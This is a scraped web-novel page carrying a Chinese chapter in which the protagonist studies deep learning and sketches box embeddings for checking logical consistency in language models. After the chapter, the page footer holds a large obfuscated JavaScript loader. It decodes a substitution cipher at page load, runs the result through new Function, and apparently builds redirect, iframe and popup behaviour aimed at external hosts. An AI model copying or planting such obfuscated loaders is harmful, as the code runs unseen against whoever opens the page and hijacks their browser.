首页
[切换至繁体版]
返回

第133章 符号逻辑推理的数学模型

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    做完报告的准备工作,距离前往波恩参加ChaBONNty会议,还有整整三周的时间。
    【记住本站域名台湾小説网→??????????.??????】
    这段时间,对于徐辰来说,显得有些尴尬。
    CNTT变换的推广,卡在了那个该死的「对数」项上,一时半会儿找不到突破口。
    而重新开启一个新的课题?
    三周时间,对于普通的「水论文」来说或许足够,但对于现在的徐辰而言,发一篇二区丶三区的文章,已经毫无意义。
    他的目标,至少是一区顶刊。
    而一篇顶刊级别的论文,从选题丶构思到证明丶成稿,哪怕是他这样的「挂逼」,也不可能在三周内凭空变出来。
    「这三周,总不能闲着吧?」
    徐辰坐在研究室里,看着窗外燕园的春色,手指无意识地敲击着桌面。
    他的目光,扫过系统物品栏。
    那里,静静地躺着一份他之前抽到的4级物品——《具备逻辑推理与长时记忆模块的改进型大语言模型算法框架(LAART)》。
    自从上次看完这篇论文后,他就一直把它束之高阁。
    一方面是因为当时忙着搞数论,没时间;另一方面,也是因为他对AI领域的知识储备,还远远不够。
    「反正闲着也是闲着,不如……先把AI这块硬骨头给啃了?」
    徐辰的心思活络了起来。
    「而且,系统发布的那个『多维度的学者』主线任务,要求我在其他三门学科发表SCI论文。AI,正好对应着『计算机科学』。」
    「如果能把这篇LAART论文吃透,再结合我现在的数学能力,发一篇计算机领域的顶刊,应该不是什麽难事。」
    「更重要的是,如果真的能把这个模型复现出来,哪怕只是一个简化版,它也能成为我科研路上的得力助手。」
    想到这里,徐辰不再犹豫。
    他打开电脑,登录了北大的图书馆资料库,开始疯狂地下载关于「深度学习」丶「自然语言处理」丶「图神经网络」丶「符号逻辑」等领域的经典教材和前沿论文。
    《深度学习》(花书)丶《统计学习方法》丶《强化学习导论》……
    一本本厚重的电子书,被他拖进了阅读列表。
    ……
    他先是用两天时间,将《深度学习》这本被誉为「AI圣经」的花书,从头到尾「扫描」了一遍。
    对于普通计算机系的学生来说,这本书里的数学推导,比如反向传播算法中的链式法则丶正则化中的拉格朗日乘子法,可能需要花上几个月去消化。
    但对于数学等级已经达到LV.2巅峰的徐辰来说,这些东西,简直就像是小学生的加减乘除一样简单。
    「所谓的神经网络,本质上就是一个高维空间中的非线性函数逼近器。」
    「所谓的训练,就是在这个高维空间里,寻找一个能让损失函数最小化的点。」
    「所谓的泛化,就是希望这个函数在没见过的数据点上,也能表现得足够好。」
    徐辰一边看,一边在心里默默总结。
    在他眼中,那些复杂的网络结构图,瞬间被还原成了最本质的数学公式。
    ……
    然而,当他试图深入了解最新的大语言模型(LLM)时,却发现了一个尴尬的问题。
    书,不够看了。
    AI领域的发展速度,实在是太快了。
    传统的学术界,知识的沉淀和出版,往往需要几年的时间。一本教材从编写到出版,可能里面的技术就已经过时了。
    而AI,尤其是大模型,几乎是以「周」为单位在叠代。
    这种「工业界倒逼学术界」的现象,在AI领域尤为明显。
    很多最前沿的技术,根本来不及写进书里,甚至来不及发表正式的论文,就已经被OpenAI丶Google丶Meta这些科技巨头,直接应用到了产品中,或者以技术博客丶开原始码的形式,扔到了GitHub和HuggingFace上。
    「看来,光看书是不行了。」
    徐辰果断调整了策略。
    他打开了Coursera丶Udemy,以及B站,找到了几门由史丹福大学丶吴恩达丶李飞飞等顶级大佬开设的最新网课。
    《CS224n:自然语言处理与深度学习》
    《CS231n:卷积神经网络与视觉识别》
    《生成式AI导论》
    他开启了倍速播放,一边看,一边在脑海中构建着知识图谱。
    徐辰学得飞快。
    这得益于他那恐怖的数学底子。
    ……
    在AI领域,有一条不成文的鄙视链:搞算法的看不起搞调参的,搞理论的看不起搞应用的。
    而站在鄙视链顶端的,永远是那些数学功底深厚的人。
    普通的AI工程师,可能只会调用PyTorch或TensorFlow的API,像搭积木一样搭建模型,然后对着一堆超参数进行「玄学」调优。他们知道「怎麽做」,但往往不知道「为什麽」。
    而数学家,看到的则是更本质的东西。
    他们看到的是流形上的概率分布,是高维空间中的几何结构,是优化算法的收敛性证明。
    「AI人员的数学好,通常是指他们擅长线性代数丶概率论和微积分,能看懂公式,能推导梯度。」
    「但数学家的数学好,是指他们能洞察这些公式背后的『结构』与『本质』。」
    ……
     五天后。
    当徐辰关掉最后一节关于「Transformer架构源码解析」的网课视频时,他长长地舒了一口气。
    海量的知识,从最底层的感知机,到最前沿的大语言模型,在他的脑海中,构建起了一座宏伟的知识大厦。
    【叮!】
    【检测到宿主系统性地掌握了「深度学习与自然语言处理」的核心知识体系。】
    【信息学经验值+20!】
    【当前信息学等级:LV.0(35/100)】
    看着那猛涨了一截的经验条,徐辰并没有太多的惊讶。
    对于一个已经站在数学LV.2高度的人来说,AI的底层逻辑并不神秘。抛开工程实现的细节,现代深度学习的本质,就是在一个极高维的参数空间里,寻找一个能够拟合数据分布的流形。
    「现在,地基已经打好了。」
    徐辰的目光,投向了系统物品栏里那份名为《具备逻辑推理与长时记忆模块的改进型大语言模型算法框架(LAART)》的「草稿」。
    他将其提取出来,仔细研读。
    这份「草稿」并没有直接给出成型的代码,它更像是一份来自未来的「技术白皮书」,指出了三个核心模块。徐辰决定,先攻克最核心的——符号逻辑推理模块(SLRM)。
    目前的AI界,为了解决大模型的「幻觉」问题,即一本正经地胡说八道,主流做法是RLHF,也就是基于人类反馈的强化学习。但这本质上是让人类去「教」鹦鹉说话,鹦鹉并不懂真理,它只是学会了迎合人类的口味。
    徐辰翻开草稿的「逻辑推理」章节,眼神逐渐变得凝重。
    草稿上写着这样一段话:
    「不要试图在离散的符号层面去强行嫁接逻辑规则。应当将一阶谓词逻辑的语法树,通过某种拓扑变换,嵌入到连续的向量空间中。使得逻辑推演的过程,等价于向量空间中的几何变换。」
    「建议路径:采用区域表示法。将每个概念视为高维空间的一个闭区域。逻辑蕴含即为几何包含。」
    「关键模型参考:箱嵌入……」
    然而,写到这里,草稿就像是被撕掉了一半似的,戛然而止。
    后面关于如何构建这个「Box」,如何处理梯度的反向传播,以及最关键的损失函数设计,全是一片空白。
    「系统,你这是断章狗行为啊……」
    徐辰忍不住吐槽了一句。
    不过,这也激起了他的好胜心。既然方向已经指明了,剩下的路,自己走不出来吗?
    他在草稿纸上画了一个简单的示意图,顺着草稿的思路继续推演。
    「把逻辑关系,映射成几何关系……BoxEmbeddings……」
    徐辰的笔尖在纸上重重一点。
    「明白了!系统的意思是,我们要把每一个概念,比如『猫』丶『动物』丶『生物』,都不看作是一个点,而是看作高维空间里的一个长方形盒子(Box)。」
    他在纸上画了几个大小不一的矩形框。
    「逻辑的本质是什麽?是包含与被包含。」
    「如果『猫』蕴含『动物』这个概念,那麽在几何空间里,代表『猫』的那个小盒子,就必须完完全全地被塞进代表『动物』的大盒子里!」
    「如果AI生成了一句话,说『猫不是动物』,那麽在它的向量空间里,这两个盒子就会出现分离。这时候,我们只需要计算这两个盒子的交集体积。」
    「体积为零,或者重叠率极低,就说明——逻辑矛盾!」
    徐辰的眼睛越来越亮。
    这简直就是天才的设计!
    通过这种方式,他相当于在传统的概率预测模型里,植入了一个冷酷无情的「逻辑判官」。
    每当AI想要「胡说八道」时,这个逻辑判官就会瞬间计算出几何关系:
    「停!根据几何计算,『A盒子』和『B盒子』没有交集,这句话逻辑不通,禁止输出!」
    这将从根本上解决大模型的幻觉问题!
    基于这个理解,徐辰迅速补全了草稿中缺失的核心公式:
    Box(c,w)={x|c-w/2≤x≤c+w/2}P(A|B)=Vol(Box(A)∩Box(B))/Vol(Box(B))
    「这个模型很简单,也很有效。它把复杂的逻辑运算转化为了极其廉价的『min/max』运算,非常适合GPU并行加速。」
    「但也存在一个明显的缺陷。」
    徐辰看着自己补全的公式,敏锐地指出了问题所在,体现出了他作为数学家的严谨。
    「数值稳定性是个大问题。当你不断对盒子求交集做逻辑与运算,盒子的体积会指数级缩小。在计算机的浮点数表示下,很快就会变成0,导致梯度消失,模型无法继续学习。」
    「这就像是把一张大饼不断对摺,折到最后就没法看了。」
    「而且,『超矩形』虽然计算简单,但它比较刚性,难以表达某些复杂的环状逻辑。」
    草稿里虽然没提这些,但徐辰凭藉LV.2的数学直觉,一眼就看穿了这个初级模型的局限。
    「真正的终极形态,应该是一个基于『李群』流形的动态拓扑结构,甚至是某种非交换几何。」
    徐辰摸了摸下巴,若有所思。
    「不过,对于目前的初级版本来说,只要能跑通就行。先造一把趁手的『土枪』,能响就行。至于那些高大上的流形结构,等以后算力够了丶时间充裕了再慢慢升级。」
    打定主意后,徐辰不再犹豫。
    他需要在前往德国之前,把这套逻辑验证代码跑通。
    「好,开工!」
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();